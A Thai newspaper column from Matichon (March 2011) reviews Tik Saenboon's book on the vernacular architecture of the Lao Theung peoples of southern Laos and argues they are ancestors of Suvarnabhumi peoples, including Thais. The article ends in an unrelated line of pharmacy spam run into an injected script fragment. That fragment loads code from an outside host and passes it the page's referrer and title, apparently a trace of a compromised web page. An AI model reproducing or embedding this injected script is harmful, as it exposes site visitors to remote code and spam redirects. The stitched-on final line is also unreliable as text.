มติชนรายวัน ฉบับประจำวันพุธที่  9   มีนาคม  2554

ลาวเทิง-ตระกูลข่า คือชาติพันธุ์บรรพชนคนสุวรรณภูมิ(รวม“คนไทย”) ที่ถูกเหยียดเป็นขี้ข้ามานานมาก

สถาปัตยกรรมพื้นถิ่นลาวเทิงในสาธารณรัฐประชาธิปไตยประชาชนลาว (ตอนใต้) โดย ติ๊ก แสนบุญ คณะศิลปประยุกต์และการออกแบบ มหาวิทยาลัยอุบลราชธานี

เป็นหนังสือรวบรวมผลการศึกษาสำรวจลักษณะรูปแบบและคติความเชื่อในงานสถาปัตยกรรมพื้นถิ่นลาวเทิงในลาว ที่ควรยกย่องอย่างยิ่ง (ไม่มีวางขายทั่วไป          ถ้าใครต้องการ ให้ติดต่อที่มหาวิทยาลัยอุบลราชธานี)

ลาวเทิง หมายถึงคนบนที่สูง บางทีเรียกลาวสูง เพราะตั้งบ้านเรือนอยู่บนที่ เนิน, ที่สูง, เชิงเขา, ฯลฯ

คำว่า เทิง แปลว่า บน, เหนือ, สูง (ใน จ. เชียงราย มี อ. เทิง ตั้งอยู่บนที่สูง คล้ายที่ราบสูงที่แตกต่างจากที่ราบลุ่ม เห็นได้ชัดเมื่อนั่งรถยนต์เข้าเขต อ. เทิง จะเอียงลาดขึ้นที่สูง)

ลาวเทิง, ลาวสูง เป็นชื่อผูกขึ้นใหม่เพื่อใช้งานการเมืองรัฐชาติสมัยใหม่ แทนคำรวมเดิมว่า“ข่า” หรือ“ข้า” หมายถึง ขี้ข้า

ข่า, ข้า ลาวเทิง, ลาวสูง พูดตระกูลภาษามอญ-เขมร เช่นเดียวกับลัวะ, ละว้า, กำมุ(ขมุ)

ลาวเทิงตระกูลข่าทั้งหลาย ล้วนเป็นชาติพันธุ์ดั้งเดิมดึกดำบรรพ์ของสุวรรณภูมิมากกว่า 3,000 ปีมาแล้ว นับเป็นบรรพชนคนสุวรรณภูมิ รวมถึงคนไทยทุกวันนี้ด้วย

ถ้าอยากรู้ว่าบรรพชนคนไทยและคนสุวรรณภูมิมีวิถีชีวิตอย่างไร ให้ดูร่องรอยทางสังคมวัฒนธรรมที่เหลืออยู่กับลาวเทิง ซึ่งอาจารย์ติ๊กศึกษาสำรวจด้วยพลังศรัทธาแล้วพิมพ์เผยแพร่ในเล่มนี้อย่างมีค่ายิ่ง นับเป็นงานบุกเบิกทางวิชาการด้านนี้ที่มหาวิทยาลัยอุบลฯ ควรภาคภูมิใจ เพราะถ้าไม่มีพลังศรัทธาย่อมไม่มีวันทำได้

แค่ได้ดูลายเส้นสุขุมละเอียดอ่อนของ ติ๊ก แสนบุญ พิมพ์ประกอบในเล่ม            ก็นับเป็นบุญกุศลคุ้มค่ามหาศาลแล้ว

เรือนไทย ที่สถาปนิก กับ“สถาปนึก” ชอบอธิบายว่ามีเสาสูงเพื่อหนีน้ำเวลาหน้าน้ำ ขอให้ดูเรือนลาวเทิงบนที่สูง ล้วนมีเสาสูงทั้งนั้น ทั้งๆน้ำไม่เคยท่วม

เรือนเสาสูงมีขึ้นเพื่อป้องกันอันตรายจากสัตว์และโรคภัยไข้เจ็บเหน็บเหนื่อย ขณะเดียวกันก็ใช้งานใต้ถุนในชีวิตประจำวัน เช่น ตีหม้อ(ปั้นหม้อ), ทอผ้า, เลี้ยงลูกหลาน, ฯลฯ

เรือนลาวเทิงมีโครงสร้างอย่างเดียวกับเรือนลายเส้นบนหน้ากลองทอง(มโหระทึก) ราว 3,000 ปีมาแล้ว นับเป็นลักษณะเรือนเก่าแก่สุดเป็นต้นแบบของเรือนอุษาคเนย์ เช่น เรือนไทย, เรือนเขมร, เรือนมอญ, เรือนลาว, เรือนชวา, เรือนมลายู, ฯลฯ

นักโบราณคดีจะเข้าใจวิถีสังคมวัฒนธรรมของคนยุคสุวรรณภูมิ(ก่อนประวัติศาสตร์) ได้ดี ถ้าทำความเข้าใจวิถีลาวเทิง ดังมีตัวอย่างอยู่ในงานศึกษาและสำรวจเล่มนี้ของอาจารย์ติ๊ก แสนบุญ

buy fluoxetine 20 mg dutasteride side effectss.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;